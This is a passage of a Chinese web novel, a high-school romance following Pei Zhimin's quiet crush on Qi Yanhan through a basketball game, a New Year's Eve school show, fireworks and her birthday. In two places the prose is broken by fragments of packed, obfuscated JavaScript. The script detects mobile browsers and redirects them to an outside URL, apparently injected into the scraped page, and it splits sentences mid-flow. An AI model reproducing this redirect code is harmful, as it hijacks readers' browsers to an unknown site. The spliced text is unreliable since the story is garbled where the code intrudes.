那截露出来的腰腹精瘦又有力,引得周围的女生尖叫连连。 裴知悯微红了脸,别开眼看向了远处不知名的树。 那头,何语苒握着两瓶水小跑着过去,递给路泽珩一瓶,“哥,喝水。” 路泽珩自然而然地接过来,“谢了。” 另外一瓶送到了他的面前,女生浅笑嫣然,“给你。” 祁砚寒擦头发的手顿了下,没有接,路泽珩灌了几口水,瞧见他们木着,径自抓过那水,丢在了他怀里,“瞎客气个什么劲。” 祁砚寒掀唇笑了下,丢了毛巾,打开水仰头灌了大半瓶。 场外隐约响起一点起哄声,当事人面上却没多少波澜,喝完拧上瓶盖继续和那群人说说笑笑。 裴知悯坐在那里,只看得到他线条流畅的侧脸,还有何语苒仰头看他的笑靥。 有男生问起晚上去哪儿聚,篮球队的副队长说:“老地方,校门外的那家馆子。” 自己这队的人都说可以,路泽珩抹了两把脸上的汗,问起他们:“一块呗?” 见大伙一致同意,祁砚寒也没意见,跟着说行。 “你去吗?”路泽珩转头问道。 何语苒悄悄打量了下他的脸色,男生头偏向了另一边,表情平静又冷漠。 何语苒识趣地抿唇一笑说:“我就不去了,我作业还没写完。” “那行,”路泽珩没勉强。 商量好后,喻臣跑过来问喻书跟不跟他们一起走。 “你们一群男的吃饭,我去凑什么热闹,”喻书答得迅速,“不去。” 她不去,裴知悯自然也没理由跟着去。 后来场边的观众散尽,打篮球的人边收拾东西边聊,喻书回去拿书包了,裴知悯就在出口那儿等她,她无聊地踢着花坛边的石子玩,没多久,身侧传来磁性的一声:“走了。” 裴知悯乍一听声音以为是喻臣,下意识回应了句“来了”,一抬头才看见是他,男生黑发微湿,额头还沁着汗,一双眸子漆黑有神。 喻书从后面跑来,手搭上她的肩膀,和她一起往外走。 出了校门,那群男生和她们都往了右拐,过马路时,遇见了个很长的红灯。 街上的车辆川流不息,男女老少走来往去,各种声音杂乱地揉在一起,祁砚寒在她的侧后方和人笑谈,裴知悯站得笔直,和喻书聊天都不敢放大了音量。 那个傍晚,火红的斜阳沉没了半边,暮色绯红灿烂,他们站在日落里,欢声笑语,青春洋溢。 绿灯亮起,裴知悯下意识抬脚往前面走,一股力道猛然压上她的手腕,遏制了她的步伐。 裴知悯低头看了眼,男生宽大硬朗的手掌扣着她的手背,他才打过球,浑身泛着热气,热量贴上她的皮肤,烫得她心都颤了下。 裴知悯怔怔地抬眼望向他,祁砚寒开口解释:“还有车。” 说罢,一股由自行车经过带起的凉风便扑了上来,风还未散,腕子上的强势就离开了。 裴知悯轻轻道了声谢,男生略微颔首,就算作了回应。 走过斑马线,他们默契地分别,那道低沉的男声逐渐隐匿在众多喧声之中,裴知悯默默回头看了眼,落日余晖里,他的背影宽阔清瘦,四周还笼罩着一层橘调的光,遥远又瞩目。 背道而驰的两条路上,裴知悯止不住地心想,其实她于他,不过一个见过几面的陌生人,本质上和街上所有往来的陌生人无异。 10. 第10章 到了店里,男生们围桌而坐,吃的喝的点了一桌,等待上菜的间隙,一群人打游戏的打游戏,聊天的聊天,嘻嘻哈哈的一派。 有人笑眯眯地问祁砚寒:“刚刚那两个女生是喻臣朋友?我看她们场外一直给他加油来着。” “哪两个?”祁砚寒打游戏的头都未抬,抽神问道。 那人帮他回忆:“就是刚才在路口那儿,喻臣和两个女生说话的那个。” 祁砚寒知道他说的是谁了,手指在屏幕上流畅地操作的同时,清淡地“嗯”了声。 “他们很熟吗?”男生接着问。 祁砚寒还盯着手机,又说了个“嗯”。 “那个扎高马尾,”这人感觉有点来劲了,“穿蓝色棉服的女生是谁啊?” 祁砚寒正思索间,蒋琛插进来说:“任渊,我劝你少打听。” 被喊的这人才不管他的劝告,眼巴巴地等着后话。 “那是喻臣他妹妹。”蒋琛眯着眼告诉他。 任渊表情僵了下,放低音量问:“表妹?” “亲妹。”蒋琛说。 那时喻臣正从柜台拿了酒走回来,祁砚寒的游戏界面又出现了“GameOver”的字样,他闲下来,唇边勾着似有若无的笑,扬声问:“你问她干什么?” “那女生长得好看,”任渊摸了摸鼻子,“问问怎么了?” “人家妹妹长得好看关你什么事?”祁砚寒环臂悠悠地看着他。 “那我不得问清楚才好……”任渊话还没说完,背上就挨了一巴掌,清脆的一声,下了十成的力道。 “才好干什么?”喻臣拎了一打啤酒,往桌上一撂,冷声质问。 隔着老远祁砚寒就给他递眼神了,就差没把“任渊不对劲”写在脸上。 任渊扭头看见是他,顿时收起嬉皮笑脸的样儿,悻悻道:“没干什么。” “我警告你啊,”喻臣拉开椅子,直直地往那一坐,“少打我妹的主意。” 任渊咧开嘴笑,给他赔罪:“罪过罪过,我肯定不打。” 喻臣定定地盯着他,还想声讨几句,正好这时菜端上来了,大家回到饭桌上,开了啤酒,兴致高涨地碰杯。 嬉笑满堂的桌上,任渊喝了两杯酒,贼心不死地又来问:“喻臣妹妹旁边那女生是谁啊?” 祁砚寒仰头灌了口酒,侧眸看他,未发一言。 任渊被他看得发怵,眼神飘忽不定,“我就是看她文文静静,挺乖的,想认识一下。” “你知道她是几班的吗?” 那晚的风有点大,吹动着小饭馆外面的招牌,一晃一晃的,祁砚寒脑海里不禁浮现出那次她在六班后门处指着七班门牌的样子。 他默了一瞬,奉劝道:“挺乖的你就别打人家主意。” 自知没讨到好,任渊咳嗽了声,结束话茬和蒋琛路泽珩他们喝酒去了。 “总算说了句人话,”喻臣在一旁猝不及防地开腔。 祁砚寒掀起眼皮看了他一眼,似笑非笑。 喻臣目光缩了缩,忽然醒悟过来,“你刚才怎么不这么说?” “你是当哥的,我去张口说他做什么,”祁砚寒撩起唇角,“但刚刚我要是不说,你不得先劈了他再劈我?” 喻臣轻笑了声,举起啤酒瓶朝他碰了下,“知道就好。” 那晚的氛围其实挺好的,这群人吃喝玩乐到九点才散,祁砚寒回到家都快十点了,闻瑾不在楼下,客厅里,祁宏在沙发那里抽着烟在听电话,祁砚寒换了鞋,径自往里走。 男人瞧见那抹桀骜不驯的身影,说了两句就挂断了电话,出声喊:“站住。” 那声音中气十足。 祁砚寒停下脚步,转过身问他,“有事?” 祁宏吐出一口烟圈,白雾缓缓上升,两双锐利的眼隔着一层烟雾,笔直地对上。 祁宏年近半百,周身都是生意场上沉淀下来的强大气场,商人的势利和城府融在他眼里,威慑性十足。 祁砚寒却没一点畏惧,看向他的时候,一脸的混不吝。 “没看见我?”祁宏不快地问。 “看见了。” 男人声调不怒自威:“那你不知道喊人?” 祁砚寒站得松松散散的,纨绔道:“我这不是怕一出声会打扰你谈事吗?” 祁宏冷哼一声,“你倒是还挺会为我着想。” 祁砚寒本以为话题到此就结束了,谁料刚迈出脚上楼,就又被喊了住。 “谁教你的教养,”祁宏阴沉着一张脸,“长辈话都没说完就走?” 祁砚寒侧着身,拧眉看向他,满脸都写着“你还想说什么”。 外头一片漆黑,冷风拍打着窗子,屋里暖气四溢,却冷得像冰窖似的,寒气直直地从面冒上来,经过脚底流窜到两人的心头。 祁宏到底不想把气氛弄得这么剑拔弩张,掐灭了烟,缓下语气问:“这么晚才回来,去哪儿了?” 祁砚寒简言说:“同学聚会。” 空气中漂浮着一层微微厚重的酒味,“喝酒了?” 祁砚寒音调寡淡,“嗯。” “少在外面鬼混,”祁宏抿了口茶水,冷眼望向他,“年纪轻轻的,不把心思放在正道上,搞些乱七八糟的像什么样。” “得你真传,”祁砚寒话里的嘲弄意味十足,“但也不及你。” 话音一落,茶杯重重磕上茶几,发出刺耳的脆响,祁宏的嗓音骤然冷下去,“谁给你的胆子这么说自己父亲。” 祁砚寒静静地看了他几秒,单手拎着书包往楼上走,背后传来一句咬着牙骂的“混账东西”,男生浑身一怔,加快步伐上了楼,却意外地撞见了闻瑾,她肩上披着披肩,明显的刚睡醒。 祁砚寒眉头微皱:“妈,我吵醒你了?” 闻瑾拢紧披肩,摇头说:“我起来上洗手间,听见你们在说话,就想下来看看。” “没什么事,”祁砚寒说,“您早点睡。” 闻瑾没动,柔声问:“和你爸又吵架了?” 祁砚寒唇角绷成了一条线,没吭声。 “记得洗个澡,”闻瑾嗅到他身上的酒气,轻轻叹息了声,“我等会给你泡杯蜂蜜水,你喝了再睡。” “好,”祁砚寒点头应,“谢谢妈。” 后来他回到房间,楼下隐约响起了几句争执声,大概率是因为他的事。 祁砚寒没去管,拿上睡衣进了浴室,出来后没一会儿,闻瑾就送来了蜂蜜水,他一口气喝了完把杯子递回去。 闻瑾关心过他几句,开门出去了,祁砚寒望着他母亲那恬淡温雅的背影,莫名的不是滋味。 这么个聪慧能干的女人,为什么就因为这个所谓的家屈服了呢? 大概是心里烦躁,祁砚寒喝了蜂蜜水还是睡得不好,中途被噩梦惊醒,窗外乌漆麻黑的,他起来喝了杯水,喝完又倒头继续睡了,再醒来时时间比平常上学的点晚了半小时。 进了学校,预备铃正好响完,第一节课已经开始。 教学楼下面,祁砚寒睡眼惺忪,秉持着“晚了就晚了”的思想,懒着步子迈上台阶,身侧忽然传来了一些异响,他顿了下脚,侧目看过去。 裴知悯低着头,着急忙慌地从他左后方窜出,女生穿着件白色羽绒服,戴着帽子围巾,她整身都是浅色系,跑起来像个圆滚滚的汤圆。 长款衣服不好活动,她躬身拎着衣料下方的一角,快步往上走,动作笨拙得有点滑稽。 但,还挺可爱。 裴知悯着急上楼,没先注意到他,等到过了这层,要上高一层楼梯时,视线不经意间往下一落,和祁砚寒的目光凌空撞上,她轻微一愣,顾不上打招呼,急匆匆地往教室跑,却一不小心踩到了台阶边缘,差点摔个人仰马翻。 身后的脚步没停,他肯定看到了。 那段时间,南城的气温只有零上几度,苏英怕裴知悯感冒,千叮万嘱地让她要穿保暖衣保暖裤,裴知悯遵了母命,每次出门都是里三层外三层的,像是个鼓鼓的粽子。 “哪有这么好看的粽子。”苏英当时笑着安慰说。 今天她全副武装,从上到下裹得严严实实的,行动因此受限,不仅早上没挤下公交车导致坐过站,现在还被他看见了出丑的样子,此时此刻,裴知悯觉得,她就是最丑的粽子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793080|158213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >想到这,她不由三步并作两步往上跑。 祁砚寒在后面气定神闲地走着,没一分钟,女生去而复返,大抵是跑热了,她扯下了先前挡住半张脸的围巾,露出干净清丽的脸庞。 明亮眼眸看过来的时候,裴知悯还喘着气,没有张口说话。 祁砚寒表情一滞,目光平淡地和她对视。 “别走这边,”裴知悯稳住气息说,“年级主任在上面。” 祁砚寒从栏杆中的缝隙仰头望去,是有个人影在那儿,他“啧”了声,真他大爷的倒霉。 年级主任平常就爱晃荡,专抓迟到早退逃课的学生,只要被逮到,不写两千字检讨,也要通知班主任进行教育。 其实惩罚也没多大,但事儿很多,烦得很。 男生低声朝她道了句谢,从这侧楼道口出去,走出两步,他扭头问:“你不走?” 裴知悯偏了偏脑袋说:“年级主任刚刚看到我了。” 意思就是她逃不掉。 祁砚寒挑了挑眼:“他又不知道你在几班。” 裴知悯抿了下唇,思量之际,楼上猛然响起音调浑厚的一句,“那个女同学,你是几班的?” 脚步声迅速逼近,裴知悯一慌,赶紧对他挥手:“你先走。” 祁砚寒目光锁住她静默了瞬,转身出了楼梯口。 那天年级主任特好说话,见裴知悯认错态度良好,抓到她迟到了只是口头说了两句,而不是像原来一样罚站。 教室里,语文老师正背对着讲台在写板书,裴知悯松一口气,连忙溜到自己座位上。 “怎么现在才来?”时恬把课本立起,躲在书后问她,“年级主任刚从外边走过,幸好没进来查人数,不然你就完了。” “公交车坐过站了,”裴知悯简单解释,打开书包拿出课本,又问,“老师没问我吧?” “问了,”时恬俏皮地朝她眨眼,“我说你去上厕所了。” 裴知悯笑了下,这理由真是屡试不爽。 一上午很快就过去了,一般午休期间,教室里都会睡倒下一片,这天男生们却都生龙活虎的,声响弄得异常大,裴知悯觉得奇怪,问了时恬才知道,元旦晚会临近了,他们在那儿演练。 平常的表演不都要去舞蹈室排练吗?而他们表演的是,胸口碎大石。 难怪这么接地气,就地就可以来。 裴知悯因为早上的事,到现在还觉得窘迫,手撑在桌上托着腮后悔万分。 那会儿前面的几个女生正围在一起热聊,话题也是关于晚会的。 “听说祁砚寒也有个节目,”说话的人是班上的文娱委员,刚从总策划老师那里拿了节目单回来。 裴知悯倏地一惊,不动声色地竖了双耳朵听去。 “啊?”有女生吃惊道,“之前没听说啊?” “他是临时加的,”黄悦熙满怀期待地说,“钢琴演奏。” “他会弹钢琴?”另外的女生惊讶。 黄悦灵轻笑:“人家不会怎么可能来表演?” 说的也是,女生接着问:“是独奏吗?” “不是,”黄悦灵看了眼节目单,“他和一个女生一起。” 那人顺口问道:“谁啊?” 黄悦灵念出那三个字:“何语苒。” “就那个文科的漂亮学霸?”有人确认道。 黄悦灵:“嗯。” 几个女生忽而热烈地讨论起来,说他怎么就要去弹钢琴了,是何语苒出言邀请的,还是老师安排的? 答案不得而知。 裴知悯心头微涩,她和他的同框,总是会惹来加倍的注意和艳羡。 喻书参加了合唱表演,放了学要去排练,裴知悯一个人走在出校的路上,路过音乐室,拐角处走出一对亮眼的人影,男生神情从容,何语苒仰头对他说着话,笑容粲然。 冬风从敞开的道路肆无忌惮地扫来,吹着苍银色的枯树,树上抖落下的灰尘进了一抹到裴知悯的眼里。 她眼睛干涩,匆匆窥视过一眼,便若无其事地走着,身后渐渐传来轻缓柔和的钢琴音,一颗心蓦地坠落了下去,尽数沉在黯然的风里。 11. 第11章 十二月月底的那天,全校学生的心思应该都没在学习上,课中课下都在讨论即将到来的晚会。 寒冷的天气浇不灭大家的热情,下午放了学,各班就一窝蜂地奔向礼堂。 裴知悯没跟随大部队走,她在教室里给喻书画应援图,就是张简单的人物配字,立牌不大不小,等到画完,教学楼早就空了。 裴知悯装好水彩颜料,拿上立牌和书包往礼堂走,半路遇见了何语苒,女生化了妆,脸蛋明艳精致,一颦一笑都动人。 裴知悯垂着眼和她擦肩,进到礼堂,她径直往后台走,那里往来的人很多,她一手抱着牌子,一手拎着水彩盒,步子温吞,走廊有点绕,她慢慢往深处走。 休息室的门口,祁砚寒穿着一套黑色西装,一手插兜,姿态散懒地靠着墙,在和蒋琛聊天。 印象里这是裴知悯第一次见他穿正装,十七八岁的男生穿西装,总摆脱不了少年气,可不知为何,他穿上身却有四五分男人的成熟。 他没系领带,白衬衣敞开了一粒扣,露出半截白皙的锁骨,和利落流畅的下颌线,侧头和蒋琛谈笑的时候,有种别样的风流。 裴知悯按捺住微乱的心跳,徐步走过去,却在离他三两步时顿住了脚,他站的位置挡住了门把手,她进不去。 祁砚寒瞥见人影,瞧她欲言又止,先出声问:“要进去?” 裴知悯点了下头。 祁砚寒往旁边挪了一步,把门让出来。 休息室里的人很多,裴知悯进去绕了一圈都没找到喻书,末了她还是出来了,在门口等她。 蒋琛不知道什么时候走的,门外只剩他在,廊间走动的人不少,却只有她和祁砚寒一动不动,这两人靠墙站着,一左一右,跟门神似的。 他们都没说话,空气一时间沉默,看这人久久未走,祁砚寒侧眸,打量起了面前的女生,她穿着粉色棉服,扎着低马尾,一点发梢披在肩前,那张“喻书最美最乖最可爱”的应援牌子被抱在胸前,模样固执又真诚。 “你画的?”祁砚寒望着那牌子,忽而问道。 他的声音很低,在嘈杂的后台里听不真切,裴知悯是察觉到他的注目,扭头看过去,见他望着自己怀里的画,才轻声“嗯”了下。 “画得挺好。”他说。 裴知悯心乱了一拍,抿出个淡然的笑回应。 说完那句,这话题好像就没什么可聊了的,气氛一下陷入了尴尬之中,来往的同学看他们相顾无言,总会好奇地瞄来几眼。 裴知悯受不住那些打量,头不自知地埋得越来越低,跟鸵鸟似的。 祁砚寒颇觉好笑,“再低脖子就要骨折了。” 女生窘然一惊,一点点地抬起了头。 祁砚寒视线落在立牌上的水彩女生上,忽然想起小姑娘说的那句“她懂画”,想着就当随便聊聊打发打发时间。 “你画画很久了?”他口吻自然。 裴知悯听着那有点熟稔的语气,微顿了一秒说:“小学时开始的。” 他似乎很有兴致,接着问:“几年级?” 裴知悯仔细回忆了下,“三年级。” 和方芷宜学画的年纪差不多,祁砚寒随口一问:“中途没放弃过?” 裴知悯摇头:“没有。” 那比方芷宜好不少,这娃娃报了班学画还三天打鱼两天晒网,后来被小姨监督着才好点。 那算算日子,她画画到现在也快七年了。 “难怪。”他低声感慨。 裴知悯面露困惑,难怪什么? 祁砚寒轻轻一笑,目光从画上移至她的脸,“画得这么好。” 裴知悯抿了抿唇,低下头慢慢笑了。 “祁砚寒。” 清甜的女声从前侧方传来,这里的两人同时看了过去。 何语苒站在廊下的另一头,目光微不可察地在裴知悯脸上停留了两瞬,偏移到他那儿后,笑容明快地指了指排练室的方向,祁砚寒会意,跟裴知悯说了句“有事先走了”,转身朝她走去,两道身影一齐走着,渐渐消失在了转角。 他走后没两分钟,喻书就回来了,裴知悯收拾好低落的情绪,举起牌子给她看。 “这是你给我画的?”喻书颇为惊讶。 裴知悯稍微扬了点下巴,“那不然?” 喻书看着立牌上的那女生,眨眼问她:“这个能送给我吗?” 裴知悯:“本来就是给你。” 喻书笑得跟得了宝贝似的,“我回家把它摆在我房间,供起来。” 裴知悯哭笑不得:“倒是不必。” 外头响起了主持人的报幕声,晚会正式开始了,她们在后台看不到演出,都能感受到现场热烈的气氛。 那时候在学校里,好像除了读书,大家干什么都特别有劲,首个节目一演完,底下的人就捧场地报以了巨响的掌声。 此刻大家都在忙,各种乒铃乓啷的声响混杂着,喻书和她聊了会儿就被人喊进去做准备了,裴知悯起身去外面的观众席,走过拐角,碰见了蒋琛,视线一对上,这人就说:“帮我个忙。” 裴知悯茫然:“什么?” “卫旭突然找我有事,你帮我保管一下砚哥的衣服行吗?”蒋琛边说边递来一件黑色的羽绒服,“等会他弹完琴,你直接给他就行。” 裴知悯心旌微晃,愣愣地伸手接过衣服,蒋琛做了个抱拳的手势表示感谢,他走后,她便原路返了回去。 祁砚寒和何语苒的节目排在中间,两人正在舞台右侧候场,裴知悯则在左边等他。 没过几个节目,就轮到了他们上场,那时因为前面两个都是略显无聊的诗歌朗诵,气氛稍微有一点消沉。 光线暗着,他们从两侧走上舞台,男生系了领带,西装整洁,端坐于钢琴前的一方长凳上,女生则静站在舞台中央,轻微理了理裙摆。 亮白的光线轻柔地落下来,照在他和一袭白色舞裙的女生身上,场内瞬间响起欢声。 男生十指搭上黑白琴键,轻缓至极的琴声缓缓流淌,伴随着琴音,女生轻轻晃动裙摆,蹁跹起舞,全场默契地安静下来,目光聚集在舞台上。 裴知悯注视着他冷寂又认真的侧脸,目光落远,中心的女孩子翩然美丽,自信又带着光芒,是大家喜爱的那样。 一舞完毕,台下响起了巨大的欢呼,声浪大得都要掀翻天花板了,两人在人声起伏中一齐弯腰鞠躬。 谢过幕,他们从左边退场,祁砚寒走在前面,先一步下去,那时候灯光已经熄灭了,何语苒看不清台阶,迟迟没迈开脚。 看出到她的窘境,祁砚寒沉默了下,朝她伸出了手,何语苒面色惊喜,缓缓将手放去他的掌心。 男生手掌宽大,绅士地虚拢着女孩子的手,照顾她下台阶。 观众席上有人注意到了场边那暗戳戳的“牵手”,顿时响起一小波的起哄声。 祁砚寒没有理会,待何语苒站定,他便适时收手。 裴知悯所站的那个位置,能目睹那场牵手的全过程,但当他向她伸出手的那一刻,裴知悯就已阑珊地垂了眼,不去看他们相配的身影,她那点少女心事,从来都是在暗处的,隐秘而微小,无法形容,无法言说。 下来后祁砚寒没看到蒋琛,倒是裴知悯抱着自己的衣服站在出口,他稍感意外,“怎么在你这儿?” 他话问得平常随意,却暗藏着淡淡的疏离,裴知悯轻吸了一口气,再抬眼已恢复平静,三言两语解释了下原因把衣服给他。 喻书的合唱就在这个节目的后面两个,给了衣服,裴知悯径直往外边走,身后的他们在说话,她没细听,加快脚步出去。 合唱很简单,唱的歌却是耳熟能详,“轻轻敲醒沉睡的心灵”这句一出,便带动了全场,裴知悯在“慢慢张开你的眼睛”中晃动着牌子,跟随着唱。 喻书唱完下来回到后台,不小心碰到了喷漆,衣服上马上留下了一块色彩,那处特别显眼,她不喜地皱了皱眉,这一次的演出服本来是想留下来当个纪念的,现在看来也只能扔掉了。 裴知悯看她不太开心,了解到原因,问:“不然我给你画点东西?” 喻书眼睛亮了瞬:“好啊。” 裴知悯拿出水彩颜料,在她衣服上描线,喻书很是信得过,扯着衣裳由她画。 那会儿是七班在表演,胸口碎大石只不过是个幌子,他们演的是小品,学生们笑声欢畅,喻书听着“你就是礼义廉”,噗嗤笑了,“真没想到,你们班上的人还挺会整活。” 裴知悯轻抿下唇,手上的行动让她不敢大笑。 喻臣和祁砚寒进来时,裴知悯刚好画完,人物完美地遮住了那块污迹,借着后台的镜子,喻书背身看画,竟然是她自己。 “画的什么?”喻臣看见那处新添的痕迹,好奇问了嘴。 “你看不出来吗?”喻书一手把衣服扯平展让他看,一手指着自己说,“我啊。” 喻臣挑眉笑了笑,朝裴知悯竖了个大拇指,祁砚寒顺着那动作看了过去,女孩子笑意盈盈,眼眉柔软。 彼时裴知悯画了画,眼眶本就有点干,被舞台四射的光线晃了下眼睛,无意地偏了下头。 两人意外地碰上目光。 外面七班的小品即将结束,台上的人像是古代讲戏一般,临下场时对各位看官说最后一句:无涯的时间里人来人往,你我相遇,好事一桩。 抑扬顿挫的台词传进裴知悯的耳朵,还有点应景。 那天的晚会中,大家的热情空前的高,彻底结束时,外边的天完全暗了,时间过了九点。 走出校门,一群人一起去吃晚饭,跨年夜,学校外的小店都坐满了学生,几个人找了家稍偏的店,吃饭的中途,外边有烟花升起,绚烂的光束在漆黑的夜里绽放着,格外好看。 喻书看了眼手机时间,还有二十分钟到十点。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793081|158213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “等会吃完咱们去买烟花吧?”她凑到裴知悯耳边问。 裴知悯看了圈桌上的其他人,咬唇说:“我们偷偷放不好吧?” 喻书都乐了:“买回来大家一起放。” 裴知悯默了下,回答说“好”。 两个女生找了个上洗手间的理由就出去了,黑夜深沉,她们对这边的路不太熟,好不容易找着家商店,烟花却告罄了,两人又跑了几家店,才买到了两盒仙女棒。 俩人喜滋滋地往回走,餐馆外面,喻臣蒋琛他们都站在那儿,脸色有些阴沉。 “哥——”喻书还没走过去就欢快地喊。 “你们去哪儿了?”喻臣瞧见她,疾步过来,话噼里啪啦地一顿输出,“这么晚了,你出去都不知道给我打个招呼?万一出什么事儿了怎么办?” 喻书被这顿吼给弄懵了,傻站把手里拿的烟花展示给他看,“我买了烟花来放。” 喻臣脸还冷着,想她也真是心大。 蒋琛拍了拍他的肩膀,示意他消消气。 喻臣长长地叹了口气,眼光看向了别处自己消化。 祁砚寒拎着一只书包出来,瞧这气氛不对,问卫旭怎么了,卫旭看向喻臣,给他使了个眼色,“生气了。” 祁砚寒了然,把书包给了她,就拉着喻臣去了一边说话。 裴知悯讷讷地抱着书包,等反应过来时,喻臣脸上已没了愠气。 “还差两分钟就到十点了,”蒋琛转过话头,提议道,“我们可以赶一趟这个点的新年快乐。” 卫旭赶忙接上:“可以啊。” 喻书低头拆烟花棒塑封,灯光昏暗,她看不清,弄了好半天都没弄开,喻臣叹了声,自顾自地接过来拆。 “糟糕,忘记买打火机了。”裴知悯惊呼了下,忘了这最重要的事,她转过身迈出脚,想去买一个。 “等等,”喻臣出声截住她的脚步。 裴知悯不解地转过身。 “有。”喻臣说。 裴知悯轻轻地“啊”了一声。 喻臣把烟花给喻书,侧身看向祁砚寒,掌心向上伸出,以眼神示意他拿出来。 祁砚寒淡淡地看了他一眼,没动。 两个女生不明就里,跟着看向他。 “还不拿?”喻臣低头瞥了眼表,“等会没时间了。” 祁砚寒轻舔了下唇,从裤兜里摸出来一只黑色的打火机,抛给了喻臣。 裴知悯瞪大了眼,不敢去猜测他随身带的那只打火机因何而来。 喻书把烟花一一分了出去,人手两支,大家把烟花棒凑在一堆,喻臣拿着打火机准备从下面点。 众人的眼神都放在了那聚在一起的烟花棒上,正逢深夜,凛风狼嚎,猛地扫在脸上,又灌进他们的脖子里,冷得人直打哆嗦,这时候,时间好像流逝得格外慢。 “到了没啊?”卫旭问蒋琛,“我眼睛都看酸了。” “我看着呢,别吵,”蒋琛目不转睛地盯着手机上的北京时间。 卫旭立刻噤声。 “五,四,三,”蒋琛开始倒计时报秒,“二,一!” 数到“一”的那一刻,喻臣按动打火机,橙红的火光窜出,烟花棒被点燃,绽开绚丽的花,一群人挥舞着,一齐喊道:“新年快乐!” 这天街上,人潮涌动,满是欢笑,路面飘过汽车引擎发动的声响,夜风绕着这群人清脆激昂,满腔热情的声音打转,荡在银蓝色的夜里。 喊完那声,喻书舞着烟花棒到裴知悯那里,轻声祝福:“生日快乐。” 裴知悯灿烂地笑着,和她的烟花棒碰在一起。 12月31日,一个事毕于今、前途有明的日子。 裴知悯的生日也在这天。 放完烟花,大家相互告别,裴知悯打了辆车回去,到了楼下,前方出现一星亮光,她用手挡了挡眼,那光立刻移开了。 裴知悯定睛一瞧,居然是裴振。 “爸,你怎么还没睡?” 裴振接过她肩上的书包,“我估摸着时间,想你应该要回来了,就下来看看。” 裴知悯笑了笑:“你不用担心我,我自己可以回家。” “没事,接你花不了多长时间,”裴振问,“今天玩得开心吗?” 裴知悯粲然,“开心。” 那会儿裴知悯没觉得有什么突兀的,进了家门才知道,苏英在家给她准备生日惊喜呢,她爸是下来放哨的。 桌子上摆着个大蛋糕,令她意外的是,旁边还有许兰君给她买的当作生日礼物的项链。 一家人吃着蛋糕聊着天,时间晃眼就过去了,洗漱完临近午夜,裴知悯静静地站在窗前,遥望着远处的如黛青山,和灯火煌煌的城市,这时候还隐约可以听到吵闹的人声。 远方零点的钟声准时响起,盛大的烟花升上天空,火树银花熏红了幽深露重的夜。 新年到了。 12. 第12章 元旦那天,全校放假,裴知悯在家休息了一天,隔天去学校,大家还在说前天晚上的节目。 “俊男靓女一起表演,简直就是视听的双重享受。”前桌女生眉飞色舞地在和时恬讲。 “我何德何能,”时恬笑说,“能让文科理科的状元给我表演节目。” “咱也算是有眼福了,”那女生说。 时恬赞同得不能再赞同了,她忽然问裴知悯:“你看了他们的那个节目没?” 她诚实道:“看了。” “是不是挺不错的?” 裴知悯淡淡扯出了个笑,附和她们的话。 没说多久,上课铃声就响了,裴知悯那节课听的不太专心,脑海里时不时会闪过他们同台演出的画面。 下了课,她缓缓心情出去接水,那时才过八点,天色灰白,冷风从走廊尽头呼来,刮在脸上生疼,她把头埋进围巾里,迎着风往接水处走,回来时,走廊前方,何语苒抱着一沓卷子和他一齐走着,男生背着黑色的书包,眉目之间还存着倦意,看样子应该是起晚了现在才到。 过道上没什么人,裴知悯视线投过去,不期然地和他碰上了眼神,男生散漫的眼里没什么情绪,看她还是很漠然,只那一瞬,他便错开了眼,裴知悯跟着收回了眼神。 他们在这条路上相向而行,何语苒也注意到了她,发现她就是之前抱他衣服的人,她视线不免多在她身上多停留了些时长。 但裴知悯不知道。 回到自己班上,裴知悯小口小口地喝水,那时她的座位靠墙,已经看不到六班外的走廊了。 第三节下课,时恬来问她一道立体几何的题,裴知悯也不会,她们在那儿讨论了半天,最后还是没解出来,两人双双放弃了,话题扯去了别的地方。 “我跟你说,”时恬悄咪咪地凑近来,“何语苒或许真和祁砚寒在一起了。” 裴知悯心脏骤然一缩,不自觉地攥紧手心,“你怎么知道?” “我前些天看见祁砚寒牵着何语苒下台,”时恬压低声线,“刚才他们还在外面说话呢。” 裴知悯沉吟着,不知道该说些什么。 正巧李淮川这时回来了,时恬没忘记正事,扯过卷子就去问他那道题,男生讲得认真,声音又温柔,她眼神不由自主投向了那张清逸的脸庞。 “你别看我,”李淮川指了指题目,轻道,“看卷子。” 时恬愣愣地回神:“哦哦。” 男生讲得很慢很细致,同她讲完,上课铃声也响完了。 时恬转过去前顺嘴问了句:“这节什么课?” 李淮川默了下说:“语文吧。” 话音刚落,班主任就拿着一把三角尺走了进来,他是教数学的。 时恬忍不住笑他:“你这记性全用在课本上了。” 李淮川不好意思地挠了挠头。 那会儿班里声响还挺大的,班主任走上讲台,抓着三角尺往台面一敲,众人瞬间安静。 老头沉了沉脸色,眼神锋利地在教室里扫过一圈,底下没一个敢和他对视的。 “元旦玩也玩了,闹也闹了,现在都给我收收心,”老头板着脸教育他们,末了添了一记重锤,“期末考要来了。” 说到考试,大家不约而同地蔫了蔫,教室里沉寂了好半天,老头看这话起了效果,又让他们煎熬了几分钟,才开始讲课。 那节课结束,班主任让林泽民把期末倒计时写在黑板边缘,好警醒警醒这些人,不知道是不是那倒计时起了作用,男生们一个两个渐渐收了心,教室里学习的氛围变得紧张又浓厚。 期末考的威慑力太强,大家好像渐渐忘了他和她的事,现在讨论都在说学习,那阵子,各大学科的复习题一趟赶着一趟,跟没完似的,裴知悯做卷子做到手软。 或许是她心里憋了一股劲,又经过一阵恶补,高二上学期的那次期末考,裴知悯发挥得很好,还差十名就可以进年级前一百了。 